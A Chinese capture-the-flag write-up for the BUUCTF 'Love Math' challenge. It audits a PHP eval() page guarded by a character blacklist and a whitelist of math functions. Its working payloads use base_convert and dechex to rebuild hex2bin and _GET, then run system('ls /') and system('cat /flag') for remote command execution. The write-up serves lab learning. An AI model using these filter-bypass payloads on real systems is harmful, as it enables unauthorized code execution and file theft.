BUUCTF[CISCN 2019 初赛]Love Math 1
考点:
php代码审计
进入靶场

代码审计
<?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);#preg_match_all 函数用于执行一个全局正则表达式匹配。 foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) {#in_array() 函数搜索数组中是否存在指定的值。 die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }
发代码过滤了绝大多数字符,只有白名单里的字符串和字符可用。而且传入的c的值长度要小于80。
思考:
最终我们要构成的是
c=_GET['a'](_GET['b'])&a=system&b=cat /flag
最后变成 system(cat /flag)
但我们怎样将此字符串变成算式呢
这里我们需要用白名单里面的base_convert和dechex进行进制转换
base_convert

dechex


下面将这些函数进行组合,来得到我们想要的结果。
1.得到hex2bin函数(白名单中没有这个函数)
首先明确:hex2bin函数名为36进制的
在这我们要用到base_convert()函数,目的是让一个10进制数转化成36进制的数,使36进制的值为hex2bin

所以,构造函数:base_convert(37907361743,10,36)
<?php $a = base_convert(37907361743,10,36); echo $a; ?> 结果:hex2bin
2.得到这个函数后,我们将_GET表示出来
我们知道,ASCII为16进制,所以_GET的编码为5F474554
但这里不能直接用:base_convert(37907361743,10,36)(5F474554)
<?php $a = hex2bin(5F474554); echo $a; ?> Parse error: syntax error, unexpected identifier "F474554", expecting ")"
会报错,必须加上' ',但' '被过滤了,所以必须要用dechex函数将一个10进制数化为16进制数,使值等于F474554
即构造:dechex(1598506324)
连在一起就为:base_convert(37907361743,10,36)(dechex(1598506324))
<?php $a = base_convert(37907361743,10,36)(dechex(1598506324)); echo $a; ?> 结果:_GET
3.接下来就是赋值了
这里禁用了[ ],可以用{ }代替
因为它使用的白名单,所以我们构造的函数必须是白名单内的函数。
构造payload: ?c=base_convert(37907361743,10,36)(dechex(1598506324)){abs}(base_convert(37907361743,10,36)(dechex(1598506324)){pi})&abs=system&pi=ls /

发现payload太长了,想办法缩短长度。
这里就要用到动态函数
<?php $name = "hello"; $$name = "World"; echo $name; echo "\n"; echo $hello; //$$name echo "\n"; echo $$name; ?>
输出
hello
World
World
即
#要构造c=$_GET['a']($_GET['b'])&a=system&b=cat flag #如果$flag的值太长了(在这为$_GET),可以用c=$flag=$_GET;$$flag['a']($$flag['b'])&a=system&b=cat flag
payload: ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{cos}($$pi{tan})&cos=system&tan=ls /

发现有flag这个文件,读取
payload: ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{cos}($$pi{tan})&cos=system&tan=cat /flag

得到flag。

浙公网安备 33010602011771号